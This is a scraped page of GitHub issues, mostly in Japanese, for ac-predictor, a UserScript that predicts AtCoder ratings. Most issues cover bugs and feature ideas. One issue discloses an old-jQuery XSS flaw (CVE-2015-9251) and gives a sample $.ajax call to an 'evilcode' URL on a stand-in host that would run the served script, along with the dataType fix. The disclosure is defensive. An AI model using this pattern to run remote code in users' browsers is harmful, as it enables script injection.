key-moon / ac-predictor.user.js Goto Github PK
View Code? Open in Web Editor NEWac-predictor(UserScript)のソースコード
Home Page: https://greasyfork.org/ja/scripts/369954-ac-predictor
ac-predictor(UserScript)のソースコード
Home Page: https://greasyfork.org/ja/scripts/369954-ac-predictor
ここに記されている通り、新ABCを境にデフォルトAPerfが変更されている。過去コンテストでもこのデフォルト値を使っているため、予測が狂う。
その変更と同時にデフォルトパフォーマンスのデータを配信しない実装に切り替えたため、predictor稼働前の過去データを現在の手法で補完するまで問題が顕在化しなかった。
APerfをlocalDBに保存する処理が動かず、localDBが機能していない。
現状これがなくとも動いているため、撤廃しても良さそう。
エラーを吐くなどでupdateViewが先に呼ばれた場合、resultが初期化されていない場合がある
ratedなコンテストでないコンテストや、APerfが提供されていないコンテストなどで発生する。見た目があまりよくない。
tooltip表示はbootstrapからjqueryオブジェクトにinjectされているものなので、他スクリプトがjqueryを上書きするとそこを実行する際にエラーを吐いて落ちる(predictor自体が表示されなくなる)
tooltipを簡易化するか、bootstrapとjqueryを別途installする。
コミット c826d0a で削除されたチェックを戻せば良い
この時不要だと勘違いしたのはリロードした直後しかチェックしていなかったから。
predictorロード前のまだ追加カラムが描画されていない時はcolspanが通常通りだからであり、predictorロード後に生成された長カラムは長いまま。そのためバグる。
順位表がvueで書き直された。
AtCoderの順位表をvueでがっつり書き直したので、バグってるところがあるかもしれません。なんか仕様が変わってるところがあったら、それは仕様ではなくバグです。
2019年10月26日
レーティング予測機能は便利に使わせてもらっています (ありがとうございます)。
しかし AtCoder 上で動く UserScript であって順位表に何列か追加するだけのものに「2200 行を越えていてかつ活発に更新される (しかもなにやら外部の独自のサーバと通信をしている)」というのはなにか不安感があります。もうすぐ黄色になるレベルの人が「意図的に提出などを外部に送信したりしている」とはあまり考えられないとしても、あまり気分のよい状態ではありません。
ですので、本質的でない機能を削ったりコンパイルオプションを調整したりして、最終的な ac-predictor.user.js
の容量をまともな大きさまで減らしてほしいです。
とりあえずは #24 に書いてある方向を進めて「レート変化の予測をするだけの UserScript」と「お遊び機能が詰まったサイドメニューを追加する UserScript」とに分割されるとよいなと思っています。
よろしくお願いします。
Estimatorだけ使いたい人とかがいるため。
また、これができるとお遊び俺得要素を大量に追加できる。
問題ページのpredictorに「現在の問題を正解したときの順位」を表示するようなボタンを付けたい
コンテスト終了後において、同順位の人で同じレートの人が居た場合、その人達のレート遷移が入れ替わる可能性がある。(参加回数によって同レートからも遷移が変わるため。)
これは特に0完でレートが一桁台の人が条件を満たしやすい。
ペナルティなしのページで動かなくなりがち
計算時ではなく表示するパフォーマンスをpositivizeしてあげる必要がある(/result/json
等もまだunpositivizeしたまま配信しているため
Edgeにインストールした際にSyntax errorを吐いて動かなくなる
z-indexが新しいユーザー名のプルダウンについていない。
トップページの"トップに戻る"ボタンも干渉してる
脆弱性CVE-2015-9251
によって、データ配信サーバーに配置されたスクリプトをUserScriptと同権限で実行させることが可能である。
ここでのデータ配信サーバーとは、パフォーマンス推定に必要な情報を配信する外部サーバーである。
jquery 3.0.0
以前に存在するXSSの脆弱性である。
example.com/evilcode.json
にtext/javascript
コンテンツヘッダをつけて配信されるスクリプトが存在した場合、$.ajax("//example.com/evilcode.json")
を実行することによってそのスクリプトが実行される。
これは、$.ajax({ url: "//example.com/evilcode.js", dataType: "json" })
のように明示的にdataType
を指定することによって回避が可能である。
コンテストページにアクセスした際に/api/aperfs/${contestScreenName}
へデータ取得が発生する。もしレスポンスが悪意のあるものであった場合、そのコードが実行される。
現状データ配信サーバーの管理者は私である。そのため、私が攻撃を行う、又はデータ配信サーバーが乗っ取られない限りは攻撃は発生しない。今までそのような形跡はない。
AtCoder側のjqueryを流用しているため、これは不可能である。
指定忘れが発生する可能性もあり、あまり行うべきではない。
現在全てのajaxリクエストはatcoder-libs
を通じて行っているため、そこに用意すれば良い。
Unratedになったコンテストは特殊扱いしているが、APerf追加かRated順位あたりがバグっているはず。(abc126では自分の推定パフォが2400だったと記憶しているが、低いパフォが出ている)
割と順位表ページや提出ページで連続リロードをする人が多い。そういう時に一々配信していると破滅するので、最終更新からn秒はローカルのデータを使うなどすると良いはず
コンテスト開始後N分の状態をエミュレートして、そこに各位を追加した場合どうなるかを表示させてあげたい Unrated者の処理と同じ。
#26 で上げられている通り、汎用的なライブラリを分離するべき。
レート変化予測は現状3種類くらいある
これは大丈夫
ヤバい
レート変化予測には「変化前のレート、パフォ、参加回数」が必要
/standings/json
のCompetitions
はコンテスト開催当時の参加回数ではないので、こわれる
/results/json
なるものがある これを使う(ズルっぽいけど仕方ない)
もっとヤバい
Unratedなので/results/json
もない→どうしようもない
そもそもレート変化を表示しなければいい(!)
現状レート変化の表示条件が「Ratedか」で、これはパフォの計算にも使われているので変えられない。
なので、コンテスト全体がUnratedかどうかを別の場所で持っておく
A declarative, efficient, and flexible JavaScript library for building user interfaces.
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
An Open Source Machine Learning Framework for Everyone
The Web framework for perfectionists with deadlines.
A PHP framework for web artisans
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
Some thing interesting about web. New door for the world.
A server is a program made to process requests and deliver data to clients.
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
Some thing interesting about visualization, use data art
Some thing interesting about game, make everyone happy.
We are working to build community through open source technology. NB: members must have two-factor auth.
Open source projects and samples from Microsoft.
Google ❤️ Open Source for everyone.
Alibaba Open Source for everyone
Data-Driven Documents codes.
China tencent open source team.